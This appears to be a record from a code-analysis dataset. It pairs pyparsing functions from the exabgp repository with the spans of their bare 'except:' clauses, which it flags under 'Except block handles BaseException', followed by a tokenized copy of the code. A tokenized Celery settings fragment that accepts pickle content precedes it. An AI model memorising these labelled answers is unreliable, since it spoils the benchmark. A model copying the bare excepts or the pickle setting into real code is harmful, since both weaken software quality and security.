"\\u\\u\\uNL\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "CREATE", "\\u", "MISSING", "\\u", "QUEUE", "S_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "ACCEPT", "\\u", "CONTENT_", "=_", "[_", "'", "pickle", "'_", ",_", "'", "json", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "ENABLE", "\\u", "UTC_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "TASK", "\\u", "RESU", "LT", "\\u", "EXPIRE", "S_", "=_", "60_", "*_", "60_", "*_", "1_", "#", " ", "1", " ", "hour_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "AC", "KS", "\\u", "LATE", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", " ", "this", ",", " ", "mig", "ht", " ", "fix", " ", "deadl", "ock", "s", " ", "as", " ", "per", " ", "https", "://", "git", "hub", ".", "com", "/", "celery", "/", "celery", "/", "issue", "s", "/", "970", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CEL", "ER", "YD", "\\u", "MAX", "\\u", "TASK", "S", "\\u", "PER", "\\u", "CHILD", " ", "=", " ", "100_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CEL", "ER", "YD", "\\u", "FORCE", "\\u", "EXEC", "V_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "TRACK", "\\u", "STARTED_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "group", "s", ".", "google", ".", "com", "/", "forum", "/", "#!", "topic", "/", "celery", "-", "users", "/", "Y", "\\u", "ift", "y2", "l", "6", "Fc", "_", "\\u\\u\\uNL\\u\\u\\u_", "CEL", "ER", "YD", "\\u", "PREF", "ETC", "H", "\\u", "MULTIP", "LIE", "R_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "List", " ", "of", " ", "module", "s", " ", "to", " ", "import", " ", "whe", "n", " ", "celery", " ", "starts", "._", "\\u\\u\\uNL\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "IMPORT", "S_", "=_", "(_", "\"", "core", "\\u", "task", "s", "\"_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "CEL", "ER", "Y", "\\u", "ANNOTAT", "IONS", "_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
Exa-Networks/exabgp/lib/exabgp/dep/pyparsing.py
[ { "content": " def __init__( self, initChars, bodyChars=None, min=1, max=0, exact=0, asKeyword=False, excludeChars=None ):\n super(Word,self).__init__()\n if excludeChars:\n initChars = ''.join(c for c in initChars if c not in excludeChars)\n if bodyChars:\n bodyChars = ''.join(c for c in bodyChars if c not in excludeChars)\n self.initCharsOrig = initChars\n self.initChars = set(initChars)\n if bodyChars :\n self.bodyCharsOrig = bodyChars\n self.bodyChars = set(bodyChars)\n else:\n self.bodyCharsOrig = initChars\n self.bodyChars = set(initChars)\n\n self.maxSpecified = max > 0\n\n if min < 1:\n raise ValueError(\"cannot specify a minimum length < 1; use Optional(Word()) if zero-length word is permitted\")\n\n self.minLen = min\n\n if max > 0:\n self.maxLen = max\n else:\n self.maxLen = _MAX_INT\n\n if exact > 0:\n self.maxLen = exact\n self.minLen = exact\n\n self.name = _ustr(self)\n self.errmsg = \"Expected \" + self.name\n self.mayIndexError = False\n self.asKeyword = asKeyword\n\n if ' ' not in self.initCharsOrig+self.bodyCharsOrig and (min==1 and max==0 and exact==0):\n if self.bodyCharsOrig == self.initCharsOrig:\n self.reString = \"[%s]+\" % _escapeRegexRangeChars(self.initCharsOrig)\n elif len(self.bodyCharsOrig) == 1:\n self.reString = \"%s[%s]*\" % \\\n (re.escape(self.initCharsOrig),\n _escapeRegexRangeChars(self.bodyCharsOrig),)\n else:\n self.reString = \"[%s][%s]*\" % \\\n (_escapeRegexRangeChars(self.initCharsOrig),\n _escapeRegexRangeChars(self.bodyCharsOrig),)\n if self.asKeyword:\n self.reString = r\"\\b\"+self.reString+r\"\\b\"\n try:\n self.re = re.compile( self.reString )\n except:\n self.re = None", "metadata": "root.Word.__init__", "header": "['class', 'Word', '(', 'Token', ')', ':', '___EOS___']", "index": 1694 }, { "content": " def __str__( self ):\n try:\n return super(Word,self).__str__()\n except:\n pass\n\n\n if self.strRepr is None:\n\n def charsAsStr(s):\n if len(s)>4:\n return s[:4]+\"...\"\n else:\n return s\n\n if ( self.initCharsOrig != self.bodyCharsOrig ):\n self.strRepr = \"W:(%s,%s)\" % ( charsAsStr(self.initCharsOrig), charsAsStr(self.bodyCharsOrig) )\n else:\n self.strRepr = \"W:(%s)\" % charsAsStr(self.initCharsOrig)\n\n return self.strRepr", "metadata": "root.Word.__str__", "header": "['class', 'Word', '(', 'Token', ')', ':', '___EOS___']", "index": 1783 }, { "content": " def __str__( self ):\n try:\n return super(Regex,self).__str__()\n except:\n pass\n\n if self.strRepr is None:\n self.strRepr = \"Re:(%s)\" % repr(self.pattern)\n\n return self.strRepr", "metadata": "root.Regex.__str__", "header": "['class', 'Regex', '(', 'Token', ')', ':', '___EOS___']", "index": 1858 }, { "content": " def __str__( self ):\n try:\n return super(QuotedString,self).__str__()\n except:\n pass\n\n if self.strRepr is None:\n self.strRepr = \"quoted string, starting with %s ending with %s\" % (self.quoteChar, self.endQuoteChar)\n\n return self.strRepr", "metadata": "root.QuotedString.__str__", "header": "['class', 'QuotedString', '(', 'Token', ')', ':', '___EOS___']", "index": 1970 }, { "content": " def __str__( self ):\n try:\n return super(CharsNotIn, self).__str__()\n except:\n pass\n\n if self.strRepr is None:\n if len(self.notChars) > 4:\n self.strRepr = \"!W:(%s...)\" % self.notChars[:4]\n else:\n self.strRepr = \"!W:(%s)\" % self.notChars\n\n return self.strRepr", "metadata": "root.CharsNotIn.__str__", "header": "['class', 'CharsNotIn', '(', 'Token', ')', ':', '___EOS___']", "index": 2030 }, { "content": " def __str__( self ):\n try:\n return super(ParseExpression,self).__str__()\n except:\n pass\n\n if self.strRepr is None:\n self.strRepr = \"%s:(%s)\" % ( self.__class__.__name__, _ustr(self.exprs) )\n return self.strRepr", "metadata": "root.ParseExpression.__str__", "header": "['class', 'ParseExpression', '(', 'ParserElement', ')', ':', '___EOS___']", "index": 2281 }, { "content": " def __str__( self ):\n try:\n return super(ParseElementEnhance,self).__str__()\n except:\n pass\n\n if self.strRepr is None and self.expr is not None:\n self.strRepr = \"%s:(%s)\" % ( self.__class__.__name__, _ustr(self.expr) )\n return self.strRepr", "metadata": "root.ParseElementEnhance.__str__", "header": "['class', 'ParseElementEnhance', '(', 'ParserElement', ')', ':', '___EOS___']", "index": 2665 }, { "content": "def oneOf( strs, caseless=False, useRegex=True ):\n \"\"\"Helper to quickly define a set of alternative Literals, and makes sure to do\n longest-first testing when there is a conflict, regardless of the input order,\n but returns a C{L{MatchFirst}} for best performance.\n\n Parameters:\n - strs - a string of space-delimited literals, or a list of string literals\n - caseless - (default=False) - treat all literals as caseless\n - useRegex - (default=True) - as an optimization, will generate a Regex\n object; otherwise, will generate a C{MatchFirst} object (if C{caseless=True}, or\n if creating a C{Regex} raises an exception)\n \"\"\"\n if caseless:\n isequal = ( lambda a,b: a.upper() == b.upper() )\n masks = ( lambda a,b: b.upper().startswith(a.upper()) )\n parseElementClass = CaselessLiteral\n else:\n isequal = ( lambda a,b: a == b )\n masks = ( lambda a,b: b.startswith(a) )\n parseElementClass = Literal\n\n symbols = []\n if isinstance(strs,basestring):\n symbols = strs.split()\n elif isinstance(strs, collections.Sequence):\n symbols = list(strs[:])\n elif isinstance(strs, _generatorType):\n symbols = list(strs)\n else:\n warnings.warn(\"Invalid argument to oneOf, expected string or list\",\n SyntaxWarning, stacklevel=2)\n if not symbols:\n return NoMatch()\n\n i = 0\n while i < len(symbols)-1:\n cur = symbols[i]\n for j,other in enumerate(symbols[i+1:]):\n if ( isequal(other, cur) ):\n del symbols[i+j+1]\n break\n elif ( masks(cur, other) ):\n del symbols[i+j+1]\n symbols.insert(i,other)\n cur = other\n break\n else:\n i += 1\n\n if not caseless and useRegex:\n #~ print (strs,\"->\", \"|\".join( [ _escapeRegexChars(sym) for sym in symbols] ))\n try:\n if len(symbols)==len(\"\".join(symbols)):\n return Regex( \"[%s]\" % \"\".join(_escapeRegexRangeChars(sym) for sym in symbols) )\n else:\n return Regex( \"|\".join(re.escape(sym) for sym in symbols) )\n except:\n warnings.warn(\"Exception creating Regex for oneOf, building MatchFirst\",\n SyntaxWarning, stacklevel=2)\n\n\n # last resort, just use MatchFirst\n return MatchFirst( [ parseElementClass(sym) for sym in symbols ] )", "metadata": "root.oneOf", "header": "['module', '___EOS___']", "index": 3222 }, { "content": "def srange(s):\n r\"\"\"Helper to easily define string ranges for use in Word construction. Borrows\n syntax from regexp '[]' string range definitions::\n srange(\"[0-9]\") -> \"0123456789\"\n srange(\"[a-z]\") -> \"abcdefghijklmnopqrstuvwxyz\"\n srange(\"[a-z$_]\") -> \"abcdefghijklmnopqrstuvwxyz$_\"\n The input string must be enclosed in []'s, and the returned string is the expanded\n character set joined into a single string.\n The values enclosed in the []'s may be::\n a single character\n an escaped character with a leading backslash (such as \\- or \\])\n an escaped hex character with a leading '\\x' (\\x21, which is a '!' character) \n (\\0x## is also supported for backwards compatibility) \n an escaped octal character with a leading '\\0' (\\041, which is a '!' character)\n a range of any of the above, separated by a dash ('a-z', etc.)\n any combination of the above ('aeiouy', 'a-zA-Z0-9_$', etc.)\n \"\"\"\n _expanded = lambda p: p if not isinstance(p,ParseResults) else ''.join(unichr(c) for c in range(ord(p[0]),ord(p[1])+1))\n try:\n return \"\".join(_expanded(part) for part in _reBracketExpr.parseString(s).body)\n except:\n return \"\"", "metadata": "root.srange", "header": "['module', '___EOS___']", "index": 3358 } ]
[ { "span": "except:", "start_line": 1745, "start_column": 12, "end_line": 1745, "end_column": 19 }, { "span": "except:", "start_line": 1786, "start_column": 8, "end_line": 1786, "end_column": 15 }, { "span": "except:", "start_line": 1861, "start_column": 8, "end_line": 1861, "end_column": 15 }, { "span": "except:", "start_line": 1973, "start_column": 8, "end_line": 1973, "end_column": 15 }, { "span": "except:", "start_line": 2033, "start_column": 8, "end_line": 2033, "end_column": 15 }, { "span": "except:", "start_line": 2284, "start_column": 8, "end_line": 2284, "end_column": 15 }, { "span": "except:", "start_line": 2668, "start_column": 8, "end_line": 2668, "end_column": 15 }, { "span": "except:", "start_line": 3278, "start_column": 8, "end_line": 3278, "end_column": 15 }, { "span": "except:", "start_line": 3378, "start_column": 4, "end_line": 3378, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Word_", "(_", "Token_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "init", "Chars_", ",_", "body", "Chars_", "=_", "None_", ",_", "min_", "=_", "1_", ",_", "max_", "=_", "0_", ",_", "exact_", "=_", "0_", ",_", "as", "Keyword_", "=_", "False_", ",_", "exclu", "de", "Chars_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Word_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "exclu", "de", "Chars_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "init", "Chars_", "=_", "''_", "._", "join_", "(_", "c_", "for_", "c_", "in_", "init", "Chars_", "if_", "c_", "not_", "in_", "exclu", "de", "Chars_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "body", "Chars_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body", "Chars_", "=_", "''_", "._", "join_", "(_", "c_", "for_", "c_", "in_", "body", "Chars_", "if_", "c_", "not_", "in_", "exclu", "de", "Chars_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "init", "Char", "s", "Orig", "_", "=_", "init", "Chars_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "init", "Chars_", "=_", "set_", "(_", "init", "Chars_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "body", "Chars_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "body", "Char", "s", "Orig", "_", "=_", "body", "Chars_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "body", "Chars_", "=_", "set_", "(_", "body", "Chars_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "body", "Char", "s", "Orig", "_", "=_", "init", "Chars_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "body", "Chars_", "=_", "set_", "(_", "init", "Chars_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "max", "Specifie", "d_", "=_", "max_", ">_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "min_", "<_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "cann", "ot", " ", "speci", "fy", " ", "a", " ", "minim", "um", " ", "length", " ", "<", " ", "1", ";", " ", "use", " ", "Optio", "nal", "(", "Word", "())", " ", "if", " ", "zero", "-", "length", " ", "word", " ", "is", " ", "permit", "ted", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "min", "Len_", "=_", "min_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "max_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "max", "Len_", "=_", "max_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "max", "Len_", "=_", "\\u", "MAX", "\\u", "INT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "exact_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "max", "Len_", "=_", "exact_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "min", "Len_", "=_", "exact_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "name_", "=_", "\\u", "ustr_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "errmsg_", "=_", "\"", "Expect", "ed", " ", "\"_", "+_", "self_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "may", "Index", "Error_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "as", "Keyword_", "=_", "as", "Keyword_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", " ", "'_", "not_", "in_", "self_", "._", "init", "Char", "s", "Orig", "_", "+_", "self_", "._", "body", "Char", "s", "Orig", "_", "and_", "(_", "min_", "==_", "1_", "and_", "max_", "==_", "0_", "and_", "exact_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "body", "Char", "s", "Orig", "_", "==_", "self_", "._", "init", "Char", "s", "Orig", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "re", "String_", "=_", "\"[", "%", "s", "]+\"", "_", "%_", "\\u", "escape", "Rege", "x", "Range", "Chars_", "(_", "self_", "._", "init", "Char", "s", "Orig", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "len_", "(_", "self_", "._", "body", "Char", "s", "Orig", "_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "re", "String_", "=_", "\"%", "s", "[", "%", "s", "]*", "\"_", "%_", "(_", "re_", "._", "escape_", "(_", "self_", "._", "init", "Char", "s", "Orig", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "escape", "Rege", "x", "Range", "Chars_", "(_", "self_", "._", "body", "Char", "s", "Orig", "_", ")_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "re", "String_", "=_", "\"[", "%", "s", "][", "%", "s", "]*", "\"_", "%_", "(_", "\\u", "escape", "Rege", "x", "Range", "Chars_", "(_", "self_", "._", "init", "Char", "s", "Orig", "_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "escape", "Rege", "x", "Range", "Chars_", "(_", "self_", "._", "body", "Char", "s", "Orig", "_", ")_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "as", "Keyword_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "re", "String_", "=_", "r", "\"\\\\", "b", "\"_", "+_", "self_", "._", "re", "String_", "+_", "r", "\"\\\\", "b", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "re_", "=_", "re_", "._", "compile_", "(_", "self_", "._", "re", "String_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "re_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Word_", "(_", "Token_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "Word_", ",_", "self_", ")_", "._", "\\u\\u", "str\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "str", "Repr", "_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "char", "s", "As", "Str_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "s_", ")_", ">_", "4_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "s_", "[_", ":_", "4_", "]_", "+_", "\"...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "init", "Char", "s", "Orig", "_", "!=_", "self_", "._", "body", "Char", "s", "Orig", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "str", "Repr", "_", "=_", "\"", "W", ":(", "%", "s", ",%", "s", ")\"_", "%_", "(_", "char", "s", "As", "Str_", "(_", "self_", "._", "init", "Char", "s", "Orig", "_", ")_", ",_", "char", "s", "As", "Str_", "(_", "self_", "._", "body", "Char", "s", "Orig", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "str", "Repr", "_", "=_", "\"", "W", ":(", "%", "s", ")\"_", "%_", "char", "s", "As", "Str_", "(_", "self_", "._", "init", "Char", "s", "Orig", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "str", "Repr", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Regex_", "(_", "Token_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "Regex_", ",_", "self_", ")_", "._", "\\u\\u", "str\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "str", "Repr", "_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "str", "Repr", "_", "=_", "\"", "Re", ":(", "%", "s", ")\"_", "%_", "repr_", "(_", "self_", "._", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "str", "Repr", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Quote", "d", "String_", "(_", "Token_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "Quote", "d", "String_", ",_", "self_", ")_", "._", "\\u\\u", "str\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "str", "Repr", "_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "str", "Repr", "_", "=_", "\"", "quoted", " ", "string", ",", " ", "startin", "g", " ", "with", " ", "%", "s", " ", "ending", " ", "with", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "quote", "Char_", ",_", "self_", "._", "end", "Quote", "Char_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "str", "Repr", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Char", "s", "Not", "In_", "(_", "Token_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "Char", "s", "Not", "In_", ",_", "self_", ")_", "._", "\\u\\u", "str\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "str", "Repr", "_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "self_", "._", "not", "Chars_", ")_", ">_", "4_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "str", "Repr", "_", "=_", "\"!", "W", ":(", "%", "s", "...)", "\"_", "%_", "self_", "._", "not", "Chars_", "[_", ":_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "str", "Repr", "_", "=_", "\"!", "W", ":(", "%", "s", ")\"_", "%_", "self_", "._", "not", "Chars_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "str", "Repr", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pars", "e", "Expression_", "(_", "Parser", "Element_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", 